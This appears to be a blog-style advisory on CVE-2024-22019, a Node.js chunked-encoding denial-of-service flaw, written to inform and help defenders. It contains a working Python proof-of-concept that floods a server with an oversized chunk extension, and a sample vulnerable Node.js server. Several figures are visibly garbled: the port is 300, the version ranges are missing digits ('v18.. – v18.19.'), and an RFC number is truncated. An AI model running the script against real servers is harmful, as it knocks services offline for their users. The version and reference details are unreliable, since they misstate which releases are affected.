In early 2024, a serious vulnerability—CVE-2024-22019—was discovered affecting the core of Node.js HTTP servers. By sending a maliciously crafted HTTP request that abuses the *chunked* transfer encoding, attackers can force the server to consume excessive resources. This can lead to Denial of Service (DoS), making your Node.js application unresponsive.
Let’s break down what’s happening, see some real code, and understand how attackers can use this flaw—plus, what you should do to mitigate it.
What is the Vulnerability?
Node.js allows clients to send HTTP requests in *chunked transfer encoding*. Normally, the server should limit the amount of data it reads—both for each chunk, and overall. But due to this bug, Node.js fails to enforce limits on the chunk extension bytes in each chunk header.
- Chunk extension: Data that can be added after the chunk size in a chunked HTTP request (not commonly used).
- Impact: If an attacker sends endless chunk extensions, Node.js will keep reading, burning CPU and network bandwidth—even with standard body size limits or timeouts in place.
A typical chunk in HTTP/1.1 looks like
<size in hex>[chunk extension]\r\n
<data>\r\n
Example of a legal request
4\r\nWiki\r\n
5\r\npedia\r\n
\r\n\r\n
With chunk extensions
4;a=1\r\nWiki\r\n
But Node.js doesn’t restrict the size or number of chunk extensions. An attacker can send
4;a=<100000 'a' characters here>\r\nWiki\r\n
Do this repeatedly, or send *very large* chunk extensions, and the server processes *all* of it, never cutting off.
Proof-of-Concept Exploit in Python
Here’s a simple Python script showing how an attacker could crash or freeze a Node.js HTTP server running a vulnerable version:
import socket
host = "localhost" # Target Node.js server IP
port = 300 # Target HTTP port
s = socket.create_connection((host, port))
req = (
"POST / HTTP/1.1\r\n"
"Host: {}\r\n"
"Transfer-Encoding: chunked\r\n"
"Content-Type: text/plain\r\n"
"Connection: close\r\n\r\n"
"4;{}\r\nWiki\r\n"
"\r\n\r\n"
).format(host, "a=" + ("A" * 10**7)) # 10 million 'A's
s.sendall(req.encode())
print("Exploit sent, check server's resource usage.")
s.close()
*This script opens a connection and sends a malicious chunk extension of 10 million ‘A’ characters.* The server will read all of this, and if repeated, can quickly hog CPU and memory.
To demonstrate, try the above script against a simple Node.js server
// vulnerable.js
const http = require('http');
const server = http.createServer((req, res) => {
let data = '';
req.on('data', chunk => { data += chunk; });
req.on('end', () => {
res.end('Received');
});
});
server.listen(300, () => console.log('Listening on 300'));
Run the exploit script. You’ll see the Node.js server’s memory and CPU spike, and it may become unresponsive.
Why Does This Bypass Safeguards?
- Timeouts: Because Node.js keeps reading (never finishing the chunk), the connection remains "active".
Mitigation & Patches
Node.js has patched this vulnerability.
If your version is v18.. – v18.19. or v20.. – v20.11.1 (or similar), update immediately:
- Node.js Security Release Summary
- Official Patch PR #52751
References and Further Reading
- National Vulnerability Database: CVE-2024-22019
- Node.js Security Release Post
- Node.js Patch PR
- Chunked Transfer Coding (RFC 723 Section 4.1)
In Summary
CVE-2024-22019 is a prime example of how small protocol parsing oversights can have critical effects. If you run a Node.js server, update immediately, monitor your logs, and remember to keep software patched and up to date.
Timeline
Published on: 02/20/2024 02:15:50 UTC
Last modified on: 03/15/2024 11:15:08 UTC